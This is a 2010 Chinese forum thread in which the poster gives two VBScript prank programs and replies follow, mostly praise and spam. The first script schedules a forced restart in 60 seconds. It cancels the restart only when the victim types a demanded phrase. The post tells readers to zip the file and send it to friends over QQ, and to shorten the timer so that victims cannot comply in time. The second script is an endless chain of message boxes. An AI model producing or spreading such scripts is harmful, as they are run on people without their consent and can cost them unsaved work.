主题:『p92009』手把手教你做整人程序 作者:男神呀 时间:2010-06-27 19:58 |
大家好,我是p92009,今天给大家带来的是:手把手教你做整人程序 下面请看: 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把公开已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 代码: on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~" 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用qq发给你朋友,对方打开了就在60秒内要关闭计算机, 结素任务都不行,他只能说他是猪才能解决问题。够坏吧? 注意哦,你可以把我是猪那个修改成任意想说的话,要是对付你喜欢的人, 就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打开了20秒就关了,还没等对方打完就关机了 是不是叫对方很郁闷呢? 第2招编写VBS脚本 首先你可以看下面的 代码: WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下") WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") 把这个复制在记事本,把后缀修改成.vbs 在打开呢就会先说第一句的 嘿,谢谢你打开我哦,我等你很久拉! 他无论是点关闭或者是点确定都会再说第2句 再点就说地3句 会按顺序说完 你们注意哦,最后10句话,只是10句,你要是把这个复制再粘贴N次,那他还有个打完呢? 这样才做到整人了,要是给喜欢的人发去啊,那就写你要说的话吧,双引号里面的可以随便更改 这个最简单的就是结素任务来结束它 您的回复,就是对我最大的支持 |
1楼:16211(2010-06-27 20:05) |
2楼:731555658(2010-06-27 20:06) |
这个我喜欢,看完了,受益匪浅,顶了 |
3楼:男神呀(2010-06-27 20:06) |
谢谢。您的回复,就是对我最大的支持 谢谢 但请不要灌水 谢谢 |
4楼:ja520(2010-06-27 20:08) |
沙发 LZ好坏 |
5楼:男神呀(2010-06-27 20:09) |
谢谢。您的回复,就是对我最大的支持 谢谢 |
6楼:1285444987(2010-06-27 20:14) |
收下了 |
7楼:╰凹凸ㄨ曼)(2010-06-27 20:16) |
很有趣,不中的有用吗 |
8楼:男神呀(2010-06-27 20:29) |
谢谢。您的回复,就是对我最大的支持 谢谢 。 |
9楼:ecust(2010-06-27 20:37) |
楼上的做人要厚道,请言之有物,勿恶意灌水!多谢合作。 |
10楼:ecust(2010-06-27 20:51) |
强大啊 楼下的做人要厚道,请言之有物,勿恶意灌水!多谢合作。 |
11楼:男神呀(2010-06-27 23:35) |
谢谢。您的回复,就是对我最大的支持 |
12楼:rxh518(2010-06-28 22:30) |
楼主。。你太厉害了...说实话我是好人 我是来看你头像的 |
13楼:男神呀(2010-06-29 05:39) |
我头像啊? 有那么好看么 怎么大家都看呢? |
14楼:上帝(2010-06-29 12:13) |
我想我能用任务管理器直接关掉进程就行了 |
15楼:男神呀(2010-06-29 19:10) |
第二个可以 但第一个不可以关掉 |
16楼:zac丶efron(2010-06-29 20:14) |
LZ不是一般的坏 = = |
17楼:男神呀(2010-06-29 20:41) |
是吗? 平常无聊才做哇 |
18楼:sunne.(2010-07-01 20:28) |
LZ 好聪明···· |
19楼:大百科(2010-07-01 20:33) |
用户被禁言,该主题自动屏蔽! |
20楼:大百科(2010-07-01 20:40) |
用户被禁言,该主题自动屏蔽! |
21楼:╯別致旳柔弱(2010-07-01 21:43) |
太难了... 我喜欢一键的。 |
22楼:男神呀(2010-07-01 22:43) |
呵呵 ,可以做的话就回复一下 |
23楼:1053484037(2010-07-08 15:28) |
回复一下 |
24楼:男神呀(2010-07-09 15:42) |
谢谢啊。。。 |
25楼:a3324115(2010-07-09 15:48) |
额。。。。不错啊楼主谢了。。。 |
26楼:无殇血(2010-07-10 17:20) |
LZ乃太厉害了~~崇拜ing~~~顶了啊!! |
27楼:qq756537130(2010-07-10 18:12) |
这个会不会被杀软当病毒啊? |
28楼:qq756537130(2010-07-10 18:49) |
试了一下,真的是暴强的程序~~~~~~~~~~ |
29楼:朕射你无罪(2010-07-10 21:54) |
收下了 |
30楼:乔晓宝(2010-07-10 22:33) |
好东西,人人都想要 |
31楼:305009247(2010-07-10 22:39) |
d,l;pjiojiohuihui |
32楼:305009247(2010-07-10 22:39) |
r |
33楼:305009247(2010-07-10 22:41) |
34楼:305009247(2010-07-10 22:42) |
1123gfch |
35楼:305009247(2010-07-10 22:44) |
36楼:305009247(2010-07-10 22:46) |
37楼:305009247(2010-07-10 22:47) |
38楼:305009247(2010-07-10 22:49) |
39楼:芣、蓠。(2010-07-11 09:47) |
不行啊 |